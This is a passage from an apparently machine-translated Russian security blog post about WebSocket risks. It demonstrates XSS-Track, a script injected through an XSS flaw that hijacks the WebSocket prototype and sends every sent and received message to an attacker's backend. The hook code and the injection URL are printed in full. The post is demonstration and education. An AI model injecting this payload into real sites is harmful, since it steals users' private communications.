постоянно обновляется , имеет свои
проблемы , что, вероятно, будет означать, что он не будет готов к
Firefox 4 . Но, тем не менее, я думаю, что это отличный способ сделать текущие веб-приложения более отзывчивыми.
При этом разработчики должны знать, что использование WebSockets всегда будет иметь некоторые проблемы с безопасностью. Просто назвать несколько:
- клиент может быть подделан (это не обязательно должен быть браузер)
- серверу ws: // нельзя доверять (атаки MiTM)
- вам нужно обработать аутентификацию
- сообщение по протоколу ws: // является открытым текстом.
Что может быть не так?
Возможностей много, но на сегодня давайте сосредоточимся на следующем:
важно знать, что WebSockets (без каких-либо дополнительных мер предосторожности) не является каналом для отправки ограниченных сообщений, потому что, например, один недостаток XSS на стороне клиента может раскрыть все эти частные биты. атакующему.
Чтобы продемонстрировать,
XSS-Track теперь поддерживает кражу отправленных и полученных сообщений WebSockets . Все, что вам нужно сделать, это вставить
http://kotowicz.net/xss-track/track.js?websocket=1 скрипт в уязвимый сайт, и все сообщения будут сообщены вашему бэкэнду.
Вы также можете сделать это
http://kotowicz.net/xss-track/track.js?websocket=1&debug=1, чтобы сообщения регистрировались на консоли, а не отправлялись на серверную часть.
демонстрация
Чтобы иметь возможность тестировать внедрение WebSockets, вам нужна поддержка WebSockets ? Используйте Google Chrome в качестве клиента WebSockets и перейдите по
адресу http://vuln.nodester.com — это простое уязвимое приложение чата, использующее WebSockets со всеми инструкциями. Вы также можете
настроить сервер для себя .
Как это было возможно?
Здесь нет никакой науки о ракетах, просто модифицируйте встроенный объект WebSockets:
if (captureWebsocket && window.WebSocket) { // add logging onmessage listener function captureRecv(ws) { if (typeof ws.captured == 'undefined') { ws.addEventListener('message', function(e) { var event = { event: 'websocket_recv', from: location, data: e.data, url: e.target.URL } log(event); }); ws.captured = true; } } // capture sending var captureSend = this.contentWindow.WebSocket.prototype.send = function() { captureRecv(this); // in case socket contruction was before constructor switching var event = { event: 'websocket_send', from: location, data: arguments[0], url: this.URL }; log(event); return window.WebSocket.prototype.send.apply(this, arguments); } // capture constructor this.contentWindow.WebSocket = function(a,b) { var base; base = (typeof b !== "undefined") ? new WebSocket(a,b) : new WebSocket(a); captureRecv(base); base.send = captureSend; this.__proto__ = WebSocket.constructor; return base; } }
Как всегда, вы можете увидеть исходный код самостоятельно.
Обновление: я только что обнаружил, что эта техника манипулирования объектом-прототипом для изменения поведения фактически получила название «Угон прототипа» и использовалась Стефано ди Паола в 2007 году для того, чтобы перехватить простую старую связь AJAX . Конечно, Javascript, использующий наследование прототипов, должен иметь такую слабость, и я считаю, что это замечательная особенность самого языка. Javascript FTW!